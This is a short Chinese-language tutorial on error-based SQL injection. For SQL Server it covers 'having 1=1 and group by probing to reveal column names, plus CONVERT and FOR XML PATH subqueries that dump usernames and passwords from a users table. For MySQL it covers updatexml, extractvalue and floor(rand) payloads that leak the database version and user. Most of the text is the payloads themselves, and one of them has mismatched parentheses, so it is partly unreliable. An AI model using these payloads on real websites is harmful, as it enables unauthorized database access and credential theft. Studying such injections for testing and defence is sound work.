SQLServer

一、利用错误消息提取信息

　　输入 'having 1=1 --（having一般要与group by一起来使用，group by是用来进行分组的，having后面是用来进行判断的），如果网站存在使数据库回显到页面上，那么可以通过页面的回显得到一些想要的数据库字段。通过一次次错误回显来查询出当前表的所有列名（直到没有错误为止）。

　　'having 1=1 --

　　'group by 爆出来的字段 having 1=1 --  

二、利用数据类型提取数据

　　如果试图将一个字符与非字符比较，或者将一个字符串转换为另一个不兼容的类型时，那么SQL编辑器将会抛出异常：

　　TOP关键字在SQL语言中用来限制返回结果集中的记录条数;详细请点我

　　select * from users where username='root' and password='password' and 1 > (select top 1 username from users where username not in ('root'))

　　如果不嵌入子查询，也可以使数据库报错，这就用到了SQLServer的内置函数CONVERT或者CASE函数，这两个函数的功能是：将一种数据类型转换为另一种数据类型）例如：

　　select * from user where username='root' and password='root' and 1=convert(int,(select top 1 users.username from users))

　　如果感觉递归麻烦，可以通过使用FOR XML PATH语句查询的数据生成XML：

　　select * from users where username='root' and password='root' and 1=CONVERT(int,select stuff(select  ',' + users.username, '|' + users.password from users for xml path(' ')),1,1,' ')))

MySQL

　　在SQLServer中通过报错会回显一些错误信息，在Mysql中却没有提示错误消息；但是可以通过其他方式进行提取：

　　通过updatexml函数：select *from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

　　通过extractvalue函数：select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));

　　通过floor函数：select * from message where id=1 union select * from (select count(*), concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b